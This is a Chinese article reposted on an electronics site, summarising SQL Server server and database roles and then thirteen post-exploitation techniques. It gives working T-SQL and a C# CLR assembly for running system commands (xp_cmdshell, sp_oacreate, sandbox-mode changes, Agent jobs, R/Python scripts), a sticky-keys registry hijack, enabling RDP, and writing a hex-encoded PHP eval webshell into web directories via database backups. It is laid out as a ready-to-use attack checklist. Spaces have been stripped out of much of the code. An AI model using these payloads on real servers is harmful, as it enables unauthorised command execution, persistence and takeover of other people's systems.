0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

sqlserver的角色及权限总结

jf_vLt34KHi 来源:Tide安全团队 2023-01-13 14:30 次阅读

1.sqlserver的角色及权限

sqlserver的角色分为两种:服务器角色和数据库角色

服务器角色:服务器角色的拥有者只有登入名,服务器角色是固定的,用户无法创建服务器角色。

c990c5a6-7b92-11ed-8abf-dac502259ad0.png

数据库角色:数据库角色的拥有者可以是用户也可以是数据库角色本身,管理员可以创建数据库角色。

c9a72ab2-7b92-11ed-8abf-dac502259ad0.png

在sqlserver中有三种特殊的用户:

(1)系统管理员(dba权限),对应服务器角色sysadmin,可以执行sqlserver的任何动作,包括数据库操作,文件管理,命令执行,注册表读取等,为sqlserver最高权限。

(2)数据库所有者(dbo权限),对应数据库角色db_owner, 可以执行数据库中技术所有动作,包括文件管理,数据库操作等。

(3)public角色是一种特殊的固定角色,数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。

判断当前用户角色(权限):

(1)判断是否是sysadmin(dba权限),执行select is_srvrolemember('sysadmin')

c9d8dfc6-7b92-11ed-8abf-dac502259ad0.png

(2)判断是否是db_owner(dbo权限),执行select is_member('db_owner')

c9f0320c-7b92-11ed-8abf-dac502259ad0.png

(3)判断是否是public(普通权限),执行select is_srvrolemember('public')/select is_member('public')

ca091e0c-7b92-11ed-8abf-dac502259ad0.pngca1dbef2-7b92-11ed-8abf-dac502259ad0.png

2.最新版sqlserver提权测试(sqlserver2019)

文章测试均在sqlserver2019+win server2019中操作。经过测试sqlserver 2019默认安装,使用dba权限执行whoami不是system权限,这是因为默认安装的sqlserver服务不是用系统账户启动的。

ca2ee894-7b92-11ed-8abf-dac502259ad0.pngca5c7994-7b92-11ed-8abf-dac502259ad0.pngcaa97866-7b92-11ed-8abf-dac502259ad0.png

如果安装时或在服务中更改为本地系统账户,执行命令为system权限,可以创建用户提权。

cad16786-7b92-11ed-8abf-dac502259ad0.png

3.xp_cmdshell(dba权限)

xp_cmdshell在低版本中默认开启,由于存在安全隐患,在sqlserver2005以后,xp_cmdshell默认关闭。利用xp_cmdshell执行系统命令

--判断xp_cmdshell是否存在,返回1证明存在xp_cmdshell
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'
cb74009a-7b92-11ed-8abf-dac502259ad0.png
--开启xp_cmdshell
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;
--关闭xp_cmdshell
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',0;RECONFIGURE;
cb89dbd6-7b92-11ed-8abf-dac502259ad0.pngcbaf24ea-7b92-11ed-8abf-dac502259ad0.png
--执行系统命令,sqlserver2019被降权为mssql权限
execmaster..xp_cmdshell'xxx'
cbcef3d8-7b92-11ed-8abf-dac502259ad0.png

4.sp_oacreate+sp_oamethod(dba权限)

在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)。

sp_oacreate 是一个存储过程,可以删除、复制、移动文件。

还能配合 sp_oamethod 来写文件执行系统命令。

--判断sp_oacreate是否存在,返回1证明存在sp_oacreate
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='SP_OACREATE'
cbfc7f4c-7b92-11ed-8abf-dac502259ad0.png
--开启
execsp_configure'showadvancedoptions',1;reconfigure;
execsp_configure'oleautomationprocedures',1;reconfigure;
--关闭
execsp_configure'showadvancedoptions',1;reconfigure;
execsp_configure'oleautomationprocedures',0;reconfigure;
cc15998c-7b92-11ed-8abf-dac502259ad0.pngcc35713a-7b92-11ed-8abf-dac502259ad0.png
--执行系统命令
declare@shellint
execsp_oacreate'wscript.shell',@shelloutput
execsp_oamethod@shell,'run',null,'C:\Windows\System32\cmd.exe/cwhoami'
cc560792-7b92-11ed-8abf-dac502259ad0.png

直接执行命令成功后无回显。

--回显执行系统命令结果
declare@shellint,@execint,@textint,@strvarchar(8000)
execsp_oacreate'wscript.shell',@shelloutput
execsp_oamethod@shell,'exec',@execoutput,'C:\Windows\System32\cmd.exe/cwhoami'
execsp_oamethod@exec,'StdOut',@textout
execsp_oamethod@text,'readall',@strout
select@str;
cc710a06-7b92-11ed-8abf-dac502259ad0.png

5.沙盒提权(dba权限)

沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。

如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动。

局限:

(1)Microsoft.jet.oledb.4.0一般在32位操作系统上才可以

(2)Windows 2008以上 默认无 Access 数据库文件, 需要自己上传 sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启。

--开启AdHocDistributedQueries
execsp_configure'showadvancedoptions',1;reconfigure;
execsp_configure'AdHocDistributedQueries',1;reconfigure;
--关闭AdHocDistributedQueries
execsp_configure'showadvancedoptions',1;reconfigure;
execsp_configure'AdHocDistributedQueries',0;reconfigure;
cc9ae178-7b92-11ed-8abf-dac502259ad0.pngccc6079a-7b92-11ed-8abf-dac502259ad0.png
--关闭沙盒模式
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
--恢复默认沙盒模式
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2;
ccefdf2a-7b92-11ed-8abf-dac502259ad0.png
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
--查看沙盒模式
execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode'
cd0f4d92-7b92-11ed-8abf-dac502259ad0.png
--执行系统命令
select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','selectshell("cmd.exe/cwhoami")')

6.CLR(dba权限)

Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。

CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等。

--开启CLR
execsp_configure'showadvancedoptions',1;RECONFIGURE;
execsp_configure'clrenabled',1;RECONFIGURE;
--关闭CLR
execsp_configure'showadvancedoptions',1;RECONFIGURE;
execsp_configure'clrenabled',0;RECONFIGURE;
cd3118d2-7b92-11ed-8abf-dac502259ad0.pngcd5363d8-7b92-11ed-8abf-dac502259ad0.png
--当导入了不安全的程序集之后,需将数据库标记为可信任的
ALTERDATABASEmasterSETTRUSTWORTHYON;
cddf1da6-7b92-11ed-8abf-dac502259ad0.png

做完上述准备之后需要编写一个CLR,首先在本地visual studio中创建一个 SQL Server数据库项目

cdff3cd0-7b92-11ed-8abf-dac502259ad0.png

然后,在项目中添加一个存储过程

ce26da42-7b92-11ed-8abf-dac502259ad0.pngce4abb4c-7b92-11ed-8abf-dac502259ad0.png

写入以下代码,右键生成,会在vs的工作目录项目名称Database1inDebug下生成四个文件

usingSystem;
usingSystem.Diagnostics;
usingSystem.Text;
usingMicrosoft.SqlServer.Server;
publicpartialclassStoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
publicstaticvoidCmdExec(Stringcmd)
{
//Putyourcodehere
SqlContext.Pipe.Send(Command("cmd.exe","/c"+cmd));
}

publicstaticstringCommand(stringfilename,stringarguments)
{
varprocess=newProcess();
process.StartInfo.FileName=filename;
if(!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments=arguments;
}
process.StartInfo.CreateNoWindow=true;
process.StartInfo.WindowStyle=ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute=false;
process.StartInfo.RedirectStandardError=true;
process.StartInfo.RedirectStandardOutput=true;
varstdOutput=newStringBuilder();
process.OutputDataReceived+=(sender,args)=>stdOutput.AppendLine(args.Data);
stringstdError=null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError=process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch(Exceptione)
{
SqlContext.Pipe.Send(e.Message);
}
if(process.ExitCode==0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
varmessage=newStringBuilder();
if(!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if(stdOutput.Length!=0)
{
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename+arguments+"finishedwithexitcode="+process.ExitCode+":"+message);
}
returnstdOutput.ToString();
}
}
ce7159e6-7b92-11ed-8abf-dac502259ad0.png

之后需要将dll文件注册进sqlserver,这里有三种方法注册 (1)采用16进制的方式,无文件落地

CREATEASSEMBLYsp_cmdExec
FROM0x--这里写.sql文件里的
WITHPERMISSION_SET=UNSAFE
ce8eff1e-7b92-11ed-8abf-dac502259ad0.pngcebee9fe-7b92-11ed-8abf-dac502259ad0.png

(2)将dll文件上传到目标机器上进行注册

CREATEASSEMBLYsp_cmdExec
FROM'C:UsersAdministratorDesktopDatabase1.dll'--这里写上传dll文件的路径
WITHPERMISSION_SET=UNSAFE
ced37bbc-7b92-11ed-8abf-dac502259ad0.png

(3)通过 SSMS注册dll

cef52ef6-7b92-11ed-8abf-dac502259ad0.png

注册完成后,创建存储过程

CREATEPROCEDUREsp_cmdExec
@Command[nvarchar](4000)
WITHEXECUTEASCALLER
AS
EXTERNALNAMEsp_cmdExec.StoredProcedures.CmdExec
cf264266-7b92-11ed-8abf-dac502259ad0.png
--执行系统命令
EXECsp_cmdExec'whoami';
cf4cb5ae-7b92-11ed-8abf-dac502259ad0.png

删除存储过程和程序集

DROPPROCEDUREsp_cmdExec;DROPASSEMBLYsp_cmdExec;
cf65fbcc-7b92-11ed-8abf-dac502259ad0.png

7.xp_regwrite映像劫持(dba权限)

xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,利用regwrite函数修改注册表,起到劫持作用。

利用前提sqlserver系统权限可以修改注册表。

--判断xp_rewrite是否存在,返回1证明存在xp_regwrite
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_regwrite'
cf7fc232-7b92-11ed-8abf-dac502259ad0.png
--开启
EXECsp_configure'showadvancedoptions',1;RECONFIGURE
EXECsp_configure'xp_regwrite',1;RECONFIGURE
--关闭
EXECsp_configure'showadvancedoptions',1;RECONFIGURE
EXECsp_configure'xp_regwrite',0;RECONFIGURE

修改注册表来劫持粘滞键,将粘滞键修改为打开cmd 在sqlserver2019+winserver2019中测试,win defender和火绒均会拦截

--劫持注册表
EXECmaster..xp_regwrite@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
--查看是否劫持成功
EXECmaster..xp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionssethc.exe','Debugger'
cf9ce010-7b92-11ed-8abf-dac502259ad0.png

劫持成功后连按5次shift会弹出cmd(win defender会拦截弹出的cmd并删除已经劫持的注册表) 还可以修改注册表来开启3389

execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;

8.SQL Server Agent Job(dba权限)

SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。

--启动sqlagent
execmaster.dbo.xp_servicecontrol'start','SQLSERVERAGENT'

利用任务计划命令执行,创建任务 test并执行命令,将结果写入1.txt

--执行命令
usemsdb;
execsp_delete_jobnull,'test'
execsp_add_job'test'
execsp_add_jobstepnull,'test',null,'1','cmdexec','cmd/c"whoami>c:/1.txt"'
execsp_add_jobservernull,'test',@@servername
execsp_start_job'test';
cfcb41a8-7b92-11ed-8abf-dac502259ad0.png

命令执行成功后没有回显,可以把1.txt写到表中,再查询表中内容获取命令回显。

--查看命令结果
Usemodel;
bulkinsertreadfilefrom'C:1.txt'
select*fromreadfile
cff11374-7b92-11ed-8abf-dac502259ad0.png

9.R和python(dbo/dba权限)

在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。

该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本。

利用前提sqlserver系统权限可以执行外部脚本

--开启和关闭需要dba权限
--开启
EXECsp_configure'externalscriptsenabled',1;RECONFIGURE
--关闭
EXECsp_configure'externalscriptsenabled',0;RECONFIGURE
d02e6044-7b92-11ed-8abf-dac502259ad0.pngd049d9be-7b92-11ed-8abf-dac502259ad0.png
--dbo和dba权限均可执行命令
--利用R执行命令
EXECsp_execute_external_script
@language=N'R',
@script=N'OutputDataSet<- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
--利用python执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
d0740f2c-7b92-11ed-8abf-dac502259ad0.pngd0992776-7b92-11ed-8abf-dac502259ad0.png

10.差异备份写webshell(dbo权限)

dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell。利用前提,知道网站绝对路径且路径可写

--生成备份文件
backupdatabasetesttodisk='C:phpstudy_proWWW1.bak';
--创建表并写入一句话木马
createtabletest([cmd][image]);
Insertintotest(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);
--将数据库进行差异备份
backupdatabasetesttodisk='C:phpstudy_proWWWshell.php'WITHDIFFERENTIAL,FORMAT;
d0bbec16-7b92-11ed-8abf-dac502259ad0.pngd0dd8a88-7b92-11ed-8abf-dac502259ad0.pngd0fdb51a-7b92-11ed-8abf-dac502259ad0.png

蚁剑直接连接生成的shell.php

d1204206-7b92-11ed-8abf-dac502259ad0.png

dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell。

利用前提(1)知道网站绝对路径且路径可写(2)利用数据库必须存在备份文件

alterdatabasetestsetRECOVERYFULL--将数据库修改为完整模式
createtablecmd(aimage)--新建表
backuplogtesttodisk='c:phpstudy_prowww2.bak'withinit--备份表
insertintocmd(a)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e)--将一句话木马写入表中
backuplogtesttodisk='c:phpstudy_prowww2.php'--备份操作日志到指定脚本文件
d14c3564-7b92-11ed-8abf-dac502259ad0.png

蚁剑直接连接生成的2.php

d16d8124-7b92-11ed-8abf-dac502259ad0.png

12.sp_oacreate+sp_oamethod写webshell(dba权限)

在sqlserver2019+win server2019中测试,win defender会报毒并删除一句话木马。

declare@oint,@fint,@tint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'C:phpstudy_prowww1.php',1
exec@ret=sp_oamethod@f,'writeline',NULL,''
d18967fe-7b92-11ed-8abf-dac502259ad0.png

13.不支持堆叠的情况下执行系统命令

select1where1=1if1=1execute('execsp_configure''showadvancedoptions'',1;reconfigure;execsp_configure''xp_cmdshell'',1;reconfigure;execxp_cmdshell''whoami''');
d1a736c6-7b92-11ed-8abf-dac502259ad0.png




审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    12

    文章

    9342

    浏览量

    86206
  • SQL
    SQL
    +关注

    关注

    1

    文章

    775

    浏览量

    44301
  • python
    +关注

    关注

    56

    文章

    4811

    浏览量

    85102

原文标题:sql server提权总结

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    iMatrix平台核心功能—权限管理介绍

    iMatrix平台的权限管理系统(ACS)是一个基于角色的访问控制(Role-BasedAccess Control)系统。熟悉RBAC的朋友应该知道,在RBAC中,权限角色是相关的
    发表于 07-11 11:59

    用PythonPi实现门禁系统-权限管控

    ,尤其是管理信息系统中,角色权限管理的核心概念,其约可等价于我们日常工作中的职位。我们可将职位视为由职权和职能组成,职权是对资源的访问或使用权限,职能是允许采取那些行动。因为行动对于信息系统来说其实就是
    发表于 01-15 22:32

    通过高通平台简单总结权限问题

    用,但是程序本身查不出问题来,那就要抓log看一下了,很多时候就是因为没有添加权限,下面简单的总结了一下一、 遇到权限问题,在logcat或者kernel的log中一定会打印avc denied提示缺少
    发表于 09-27 16:53

    Linux 下 QT远程连接sqlserver

    Linux 下 QT远程连接sqlserver我按照网上的教程 没有成功感觉是驱动安装了 配置没成功,请问下要配置哪些文件,数据库是 sqlserver 2018
    发表于 12-06 15:53

    sqlserver如何批量导出数据

    sqlserver批量(部分)导出一张表中的数据
    发表于 06-11 11:58

    一个通用的权限管理模型的设计方案

    本文提出了一种集成功能权限和数据权限的通用的权限管理模型,该模型在主要对角色授权的基础上加入了对用户直接授权和屏蔽部分角色
    发表于 05-26 10:34 28次下载

    RBAC私有权限问题研究

    角色继承关系中的私有权限问题是 RBAC 中一个尚未被很好解决的问题,通过对最新的研究成果进行分析,总结其优点分析不足,发现原有模型在灵活性和可管理性方面存在一些不足
    发表于 09-02 15:15 7次下载

    Delphi教程之如何动态建立SQLServer ODBC

    Delphi教程之如何动态建立SQLServer ODBC,学习Delphi的必备资料。
    发表于 03-31 11:29 4次下载

    基于角色的多约束动态权限管理模型

    在基于角色的访问控制模型(RBAC)基础上,引入访问终端、网络环境和接入方式等外部因素,提出了基于角色的多约束动态权限管理模型,依据外部因素的安全程度和资源可能带来安全风险分别对外部因素和资源进行
    发表于 11-14 11:17 6次下载
    基于<b class='flag-5'>角色</b>的多约束动态<b class='flag-5'>权限</b>管理模型

    Linux进程权限的分析说明

     在linux下,关于文件权限,大部分人接触比较多,也比较熟悉了解。但是对进程权限一般知之甚少。本文总结一下linux系统下进程权限问题和现象。
    发表于 07-17 10:55 906次阅读

    权限框架jcasbin的角色权限配置

    然后最近我发现了另一个权限框架jcasbin,虽然网上还没有很多关于博客,但是我看了一会就可以使用了。
    的头像 发表于 10-21 10:58 1484次阅读

    erp用户权限管理怎么做

    执行一些操作,给系统数据及公司业务安全带来风险。到底erp用户权限管理该怎么做呢? erp用户权限管理: 1 、ERP系统的授权机制 很多ERP系统采用的是目前国际上比较流行的基于角色的访问机制(Role-Based Acces
    的头像 发表于 12-02 14:50 2300次阅读

    基于角色的松耦合式权限控制设计

    主体采用RBAC(Role-Base Access Control,基于角色的访问控制)模型,就是用户通过角色权限进行关联实现,多对多的用户角色关系模式。
    的头像 发表于 01-12 14:31 932次阅读

    华纳云:设置RBAC权限的方法

    设置 RBAC(基于角色的访问控制) 权限通常涉及以下几个步骤: 1. 定义角色:    确定组织中不同的角色,这些角色应该反映组织结构和工
    的头像 发表于 11-11 16:20 281次阅读

    SqlServer数据恢复—SqlServer数据库数据恢复案例

    一块硬盘上存放的SqlServer数据库,windows server操作系统+NTFS文件系统。由于误操作导致分区损坏,需要恢复硬盘里的SqlServer数据库数据。
    的头像 发表于 01-09 11:15 116次阅读
    <b class='flag-5'>SqlServer</b>数据恢复—<b class='flag-5'>SqlServer</b>数据库数据恢复案例